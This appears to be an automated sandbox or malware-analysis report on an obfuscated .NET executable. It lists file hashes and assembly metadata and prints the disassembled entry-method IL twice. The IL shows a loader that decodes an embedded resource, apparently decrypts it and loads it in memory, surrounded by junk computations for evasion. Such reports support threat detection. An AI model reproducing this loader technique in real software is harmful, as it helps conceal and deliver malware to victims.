3b487c2b51d0701530f933af8b476546
PE Executable | MD5: 3b487c2b51d0701530f933af8b476546 | Size: 852.48 KB | application/x-dosexec
Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 3b487c2b51d0701530f933af8b476546
|
| Sha1 | 7f9782e08f5472f712aa5a58739b0188cdad9dc8
|
| Sha256 | 0f6d3beabf66c14299b9971d8eed9d81938112702758120dc6ff858b6a2bc30f
|
| Sha384 | 5fd52f531aa6ad4963f1d74146dfe226818727469c51826ede3ad0c7f4b498e2a74823e308fbbad6c610b711cbf4519e
|
| Sha512 | 0c7cbb1d4d5b937279730d8378f87d9adaefec4848a7761f5dd75434135c72508b2fbae6bbe618c3d8f23c2be15eb0a124b3255ea202f79fe1fb692c460c730f
|
| SSDeep | 12288:f0+niZcstO5Lkq6C06MNfK6gUSMHuonxx9Wh9ENJcaIkqGPiNzE7:7niZcstwoCiI6N7xS92JIfFNz
|
| TLSH | B105CE3223E85B95F4BF9B38943554008BF1BD16DB23EB5E7D9850ED1931B80CA66B23
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | Zyd7rT9pYoz3a6 |
| Full Name | Zyd7rT9pYoz3a6 |
| EntryPoint | System.Void Zyd7rT9pYoz3a6.3fjZLm9xtwY7::Lw6nc2() |
| Scope Name | Zyd7rT9pYoz3a6 |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Zyd7rT9pYoz3a6 |
| Assembly Version | 29.11.46.253 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.6 |
| Total Strings | 1341 |
| Main Method | System.Void Zyd7rT9pYoz3a6.3fjZLm9xtwY7::Lw6nc2() |
| Main IL Instruction Count | 338 |
| Main IL | nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> call System.DateTime System.DateTime::get_Now() stloc.0 <null> ldc.i4 10001 newarr System.Int32 stloc.1 <null> ldloc.1 <null> ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_14 ldc.i4.0 <null> stloc.s V_15 br.s IL_003A: ldloc.s V_15 ldloc.1 <null> ldloc.s V_15 ldloc.s V_15 ldc.i4.s 31 mul.ovf <null> ldc.i4 10000 rem <null> stelem.i4 <null> ldloc.s V_15 ldc.i4.1 <null> add.ovf <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 ble.s IL_0025: ldloc.1 ldloc.1 <null> call System.Void System.Array::Sort<System.Int32>(System.Int32[]) nop <null> ldc.i4.s 26 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr SystemTools ldstr cache.cfg call System.String System.IO.Path::Combine(System.String,System.String,System.String) stloc.2 <null> ldc.r8 24 call System.Double System.Math::Abs(System.Double) call System.Double System.Math::Round(System.Double) conv.ovf.i4 <null> stloc.3 <null> ldloc.3 <null> call System.Object Zyd7rT9pYoz3a6.yZt5pw9K0Paqk/6GkcRtz.jTq4A9::4Kn_c(System.Int32) castclass System.Object[] stloc.s V_4 ldstr resources/13 ldc.i4.0 <null> newarr System.Object call System.String System.String::Format(System.String,System.Object[]) stloc.s V_5 ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.2 <null> ldloc.s V_4 ldc.i4.0 <null> ldelem.ref <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Byte[] Zyd7rT9pYoz3a6.Ztw8y1rEsR4::tEm8Zy3j6Mscgg(System.String) stelem.ref <null> call System.String System.IO.Path::GetTempPath() stloc.s V_6 ldloc.s V_6 call System.Boolean System.IO.Directory::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_00C9: ldc.i4.s 100 ldloc.s V_6 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldc.i4.s 100 stloc.s V_7 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_8 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_9 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_10 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_17 ldc.i4.0 <null> stloc.s V_18 br.s IL_014E: ldloc.s V_18 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_19 ldc.i4.0 <null> stloc.s V_20 br.s IL_0142: ldloc.s V_20 ldloc.s V_8 ldloc.s V_18 ldloc.s V_20 ldloc.s V_18 ldloc.s V_20 add.ovf <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_18 ldloc.s V_20 ldloc.s V_18 ldloc.s V_20 mul.ovf <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_20 ldc.i4.1 <null> add.ovf <null> stloc.s V_20 ldloc.s V_20 ldloc.s V_19 ble.s IL_011C: ldloc.s V_8 ldloc.s V_18 ldc.i4.1 <null> add.ovf <null> stloc.s V_18 ldloc.s V_18 ldloc.s V_17 ble.s IL_0111: ldloc.s V_7 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_21 ldc.i4.0 <null> stloc.s V_22 br.s IL_01C9: ldloc.s V_22 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_23 ldc.i4.0 <null> stloc.s V_24 br.s IL_01BD: ldloc.s V_24 ldloc.s V_10 ldloc.s V_22 ldloc.s V_24 ldc.i4.0 <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_25 ldc.i4.0 <null> stloc.s V_26 br.s IL_01B1: ldloc.s V_26 ldloc.s V_10 ldloc.s V_22 ldloc.s V_24 call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32) dup <null> stloc.s V_27 ldloc.s V_27 ldind.i4 <null> ldloc.s V_8 ldloc.s V_22 ldloc.s V_26 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_26 ldloc.s V_24 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) mul.ovf <null> add.ovf <null> stind.i4 <null> ldloc.s V_26 ldc.i4.1 <null> add.ovf <null> stloc.s V_26 ldloc.s V_26 ldloc.s V_25 ble.s IL_0181: ldloc.s V_10 ldloc.s V_24 ldc.i4.1 <null> add.ovf <null> stloc.s V_24 ldloc.s V_24 ldloc.s V_23 ble.s IL_016A: ldloc.s V_10 ldloc.s V_22 ldc.i4.1 <null> add.ovf <null> stloc.s V_22 ldloc.s V_22 ldloc.s V_21 ble.s IL_015F: ldloc.s V_7 ldloc.s V_4 ldc.i4.3 <null> ldloc.s V_4 ldc.i4.2 <null> ldelem.ref <null> castclass System.Byte[] call System.Byte[] Zyd7rT9pYoz3a6.Xcm28SoeKt/5Sfkp.Xaa3_n0GF5ot2x/Lrb0tw5M9wZt.Kq0yk1Zk::Mgd6wk5DrQx9N3(System.Byte[]) stelem.ref <null> ldloc.s V_10 ldc.i4.s 50 ldc.i4.s 50 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) ldc.i4.s 100 rem <null> conv.r8 <null> ldc.r8 100 div <null> stloc.s V_11 ldloc.s V_11 ldc.r8 0.95 clt <null> stloc.s V_12 ldc.r8 0 stloc.s V_13 ldc.i4.0 <null> stloc.s V_28 ldloc.s V_13 ldc.r8 -1 ldloc.s V_28 conv.r8 <null> call System.Double System.Math::Pow(System.Double,System.Double) ldc.i4.2 <null> ldloc.s V_28 mul.ovf <null> ldc.i4.1 <null> add.ovf <null> conv.r8 <null> div <null> add <null> stloc.s V_13 ldloc.s V_28 ldc.i4.1 <null> add.ovf <null> stloc.s V_28 ldloc.s V_28 ldc.i4 1000000 ble.s IL_0219: ldloc.s V_13 ldloc.s V_13 ldc.r8 4 mul <null> stloc.s V_13 nop <null> ldstr SystemService call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String) stloc.s V_29 ldloc.s V_29 brfalse.s IL_02AA: nop nop <null> ldstr Application newobj System.Void System.Diagnostics.EventLog::.ctor(System.String) stloc.s V_30 ldloc.s V_30 ldstr SystemService callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String) nop <null> ldloc.s V_30 ldstr Module initialized. PI≈{0:F5} ldloc.s V_13 box System.Double call System.String System.String::Format(System.String,System.Object) ldc.i4.4 <null> callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType) nop <null> leave.s IL_02A9: nop nop <null> ldloc.s V_30 brfalse.s IL_02A8: endfinally ldloc.s V_30 callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> nop <null> leave.s IL_02BA: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02BA: nop nop <null> ldstr L o a d ldloc.s V_4 ldc.i4.3 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) call System.Object Zyd7rT9pYoz3a6.3fjZLm9xtwY7/4JofqpF.oYb8mp6CW4ftsz::9NfswzB75k(System.String,System.Object) pop <null> leave.s IL_02F2: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_31 nop <null> nop <null> leave.s IL_02EA: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02EA: nop nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02F2: nop nop <null> ret <null> |
| Module Name | Zyd7rT9pYoz3a6 |
| Full Name | Zyd7rT9pYoz3a6 |
| EntryPoint | System.Void Zyd7rT9pYoz3a6.3fjZLm9xtwY7::Lw6nc2() |
| Scope Name | Zyd7rT9pYoz3a6 |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | Zyd7rT9pYoz3a6 |
| Assembly Version | 29.11.46.253 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.6 |
| Total Strings | 1341 |
| Main Method | System.Void Zyd7rT9pYoz3a6.3fjZLm9xtwY7::Lw6nc2() |
| Main IL Instruction Count | 338 |
| Main IL | nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> call System.DateTime System.DateTime::get_Now() stloc.0 <null> ldc.i4 10001 newarr System.Int32 stloc.1 <null> ldloc.1 <null> ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_14 ldc.i4.0 <null> stloc.s V_15 br.s IL_003A: ldloc.s V_15 ldloc.1 <null> ldloc.s V_15 ldloc.s V_15 ldc.i4.s 31 mul.ovf <null> ldc.i4 10000 rem <null> stelem.i4 <null> ldloc.s V_15 ldc.i4.1 <null> add.ovf <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_14 ble.s IL_0025: ldloc.1 ldloc.1 <null> call System.Void System.Array::Sort<System.Int32>(System.Int32[]) nop <null> ldc.i4.s 26 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr SystemTools ldstr cache.cfg call System.String System.IO.Path::Combine(System.String,System.String,System.String) stloc.2 <null> ldc.r8 24 call System.Double System.Math::Abs(System.Double) call System.Double System.Math::Round(System.Double) conv.ovf.i4 <null> stloc.3 <null> ldloc.3 <null> call System.Object Zyd7rT9pYoz3a6.yZt5pw9K0Paqk/6GkcRtz.jTq4A9::4Kn_c(System.Int32) castclass System.Object[] stloc.s V_4 ldstr resources/13 ldc.i4.0 <null> newarr System.Object call System.String System.String::Format(System.String,System.Object[]) stloc.s V_5 ldloc.s V_4 ldc.i4.0 <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.2 <null> ldloc.s V_4 ldc.i4.0 <null> ldelem.ref <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Byte[] Zyd7rT9pYoz3a6.Ztw8y1rEsR4::tEm8Zy3j6Mscgg(System.String) stelem.ref <null> call System.String System.IO.Path::GetTempPath() stloc.s V_6 ldloc.s V_6 call System.Boolean System.IO.Directory::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_00C9: ldc.i4.s 100 ldloc.s V_6 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldc.i4.s 100 stloc.s V_7 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_8 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_9 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32) stloc.s V_10 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_17 ldc.i4.0 <null> stloc.s V_18 br.s IL_014E: ldloc.s V_18 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_19 ldc.i4.0 <null> stloc.s V_20 br.s IL_0142: ldloc.s V_20 ldloc.s V_8 ldloc.s V_18 ldloc.s V_20 ldloc.s V_18 ldloc.s V_20 add.ovf <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_18 ldloc.s V_20 ldloc.s V_18 ldloc.s V_20 mul.ovf <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_20 ldc.i4.1 <null> add.ovf <null> stloc.s V_20 ldloc.s V_20 ldloc.s V_19 ble.s IL_011C: ldloc.s V_8 ldloc.s V_18 ldc.i4.1 <null> add.ovf <null> stloc.s V_18 ldloc.s V_18 ldloc.s V_17 ble.s IL_0111: ldloc.s V_7 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_21 ldc.i4.0 <null> stloc.s V_22 br.s IL_01C9: ldloc.s V_22 ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_23 ldc.i4.0 <null> stloc.s V_24 br.s IL_01BD: ldloc.s V_24 ldloc.s V_10 ldloc.s V_22 ldloc.s V_24 ldc.i4.0 <null> call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32) ldloc.s V_7 ldc.i4.1 <null> sub.ovf <null> stloc.s V_25 ldc.i4.0 <null> stloc.s V_26 br.s IL_01B1: ldloc.s V_26 ldloc.s V_10 ldloc.s V_22 ldloc.s V_24 call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32) dup <null> stloc.s V_27 ldloc.s V_27 ldind.i4 <null> ldloc.s V_8 ldloc.s V_22 ldloc.s V_26 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_26 ldloc.s V_24 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) mul.ovf <null> add.ovf <null> stind.i4 <null> ldloc.s V_26 ldc.i4.1 <null> add.ovf <null> stloc.s V_26 ldloc.s V_26 ldloc.s V_25 ble.s IL_0181: ldloc.s V_10 ldloc.s V_24 ldc.i4.1 <null> add.ovf <null> stloc.s V_24 ldloc.s V_24 ldloc.s V_23 ble.s IL_016A: ldloc.s V_10 ldloc.s V_22 ldc.i4.1 <null> add.ovf <null> stloc.s V_22 ldloc.s V_22 ldloc.s V_21 ble.s IL_015F: ldloc.s V_7 ldloc.s V_4 ldc.i4.3 <null> ldloc.s V_4 ldc.i4.2 <null> ldelem.ref <null> castclass System.Byte[] call System.Byte[] Zyd7rT9pYoz3a6.Xcm28SoeKt/5Sfkp.Xaa3_n0GF5ot2x/Lrb0tw5M9wZt.Kq0yk1Zk::Mgd6wk5DrQx9N3(System.Byte[]) stelem.ref <null> ldloc.s V_10 ldc.i4.s 50 ldc.i4.s 50 call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32) ldc.i4.s 100 rem <null> conv.r8 <null> ldc.r8 100 div <null> stloc.s V_11 ldloc.s V_11 ldc.r8 0.95 clt <null> stloc.s V_12 ldc.r8 0 stloc.s V_13 ldc.i4.0 <null> stloc.s V_28 ldloc.s V_13 ldc.r8 -1 ldloc.s V_28 conv.r8 <null> call System.Double System.Math::Pow(System.Double,System.Double) ldc.i4.2 <null> ldloc.s V_28 mul.ovf <null> ldc.i4.1 <null> add.ovf <null> conv.r8 <null> div <null> add <null> stloc.s V_13 ldloc.s V_28 ldc.i4.1 <null> add.ovf <null> stloc.s V_28 ldloc.s V_28 ldc.i4 1000000 ble.s IL_0219: ldloc.s V_13 ldloc.s V_13 ldc.r8 4 mul <null> stloc.s V_13 nop <null> ldstr SystemService call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String) stloc.s V_29 ldloc.s V_29 brfalse.s IL_02AA: nop nop <null> ldstr Application newobj System.Void System.Diagnostics.EventLog::.ctor(System.String) stloc.s V_30 ldloc.s V_30 ldstr SystemService callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String) nop <null> ldloc.s V_30 ldstr Module initialized. PI≈{0:F5} ldloc.s V_13 box System.Double call System.String System.String::Format(System.String,System.Object) ldc.i4.4 <null> callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType) nop <null> leave.s IL_02A9: nop nop <null> ldloc.s V_30 brfalse.s IL_02A8: endfinally ldloc.s V_30 callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> nop <null> nop <null> leave.s IL_02BA: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02BA: nop nop <null> ldstr L o a d ldloc.s V_4 ldc.i4.3 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) call System.Object Zyd7rT9pYoz3a6.3fjZLm9xtwY7/4JofqpF.oYb8mp6CW4ftsz::9NfswzB75k(System.String,System.Object) pop <null> leave.s IL_02F2: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_31 nop <null> nop <null> leave.s IL_02EA: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02EA: nop nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02F2: nop nop <null> ret <null> |